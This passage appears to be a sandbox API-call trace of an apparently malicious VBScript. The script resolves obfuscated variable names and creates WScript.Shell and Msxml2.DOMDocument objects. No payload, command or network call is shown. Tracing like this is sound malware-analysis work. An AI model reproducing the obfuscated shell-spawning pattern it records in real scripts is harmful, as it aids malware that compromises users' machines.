riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.811] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="strlink", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.811] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="strlink", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.811] GetCurrentThreadId () returned 0xd44 [0088.812] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.812] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0088.812] SysStringLen (param_1=0x0) returned 0x0 [0088.812] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x1112bf0) returned 0x0 [0088.812] WshShell:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0088.812] WshShell:IClassFactory:CreateInstance (in: This=0x1112bf0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x86bfef4) returned 0x0 [0088.812] WshShell:IUnknown:Release (This=0x1112bf0) returned 0x0 [0088.812] WshShell:IUnknown:QueryInterface (in: This=0x86bfef4, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0088.812] WshShell:IUnknown:QueryInterface (in: This=0x86bfef4, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x86bfee0) returned 0x0 [0088.812] WshShell:IUnknown:AddRef (This=0x86bfee0) returned 0x3 [0088.812] WshShell:IUnknown:Release (This=0x86bfee0) returned 0x2 [0088.812] WshShell:IUnknown:Release (This=0x86bfef4) returned 0x1 [0088.812] WshShell:IUnknown:AddRef (This=0x86bfee0) returned 0x2 [0088.813] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.813] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="miko", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.813] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="miko", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.813] GetCurrentThreadId () returned 0xd44 [0088.813] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.813] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.813] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.813] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.814] GetCurrentThreadId () returned 0xd44 [0088.814] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.814] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.814] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="skswejgweogvgr72e3", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.814] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="skswejgweogvgr72e3", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.814] GetCurrentThreadId () returned 0xd44 [0088.814] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.814] ??2@YAPAXI@Z () returned 0x86bff10 [0088.814] malloc (_Size=0x804) returned 0x83fc220 [0088.814] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.814] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0088.815] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.815] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.815] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.815] GetCurrentThreadId () returned 0xd44 [0088.815] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.815] ??2@YAPAXI@Z () returned 0x11c2228 [0088.815] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.815] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.816] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.816] GetCurrentThreadId () returned 0xd44 [0088.816] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.816] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.816] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.816] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.816] GetCurrentThreadId () returned 0xd44 [0088.816] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.816] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.816] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.816] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.816] GetCurrentThreadId () returned 0xd44 [0088.816] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.816] malloc (_Size=0x204) returned 0x11917e0 [0088.816] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0088.817] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0088.817] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0088.817] GetCurrentThreadId () returned 0xd44 [0088.817] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.818] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.818] malloc (_Size=0x804) returned 0x83fc220 [0088.818] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.818] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0088.818] SysStringLen (param_1=0x0) returned 0x0 [0088.818] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0088.820] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0088.820] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x5544b0) returned 0x0 [0088.820] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0088.820] DOMDocument:IUnknown:QueryInterface (in: This=0x5544b0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x5544dc) returned 0x0 [0088.820] ??2@YAPAXI@Z () returned 0x1112bf0 [0088.820] DOMDocument:IObjectWithSite:SetSite (This=0x5544dc, pUnkSite=0x1112bf0) returned 0x0 [0088.820] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0088.820] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0088.820] DOMDocument:IUnknown:AddRef (This=0x1112bf0) returned 0x2 [0088.820] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112bf0) returned 0x0 [0088.820] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112bf0) returned 0x0 [0088.820] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0088.820] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.820] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.820] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0088.820] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.820] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.821] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0088.821] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.821] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.821] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0088.821] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.821] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.821] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.821] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.821] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.821] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.821] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.821] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.821] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.821] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.821] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.821] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.821] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.821] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.821] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0088.821] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0088.821] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0088.821] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112bf0) returned 0x0 [0088.822] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.822] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.822] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.822] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.822] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.822] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.822] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, 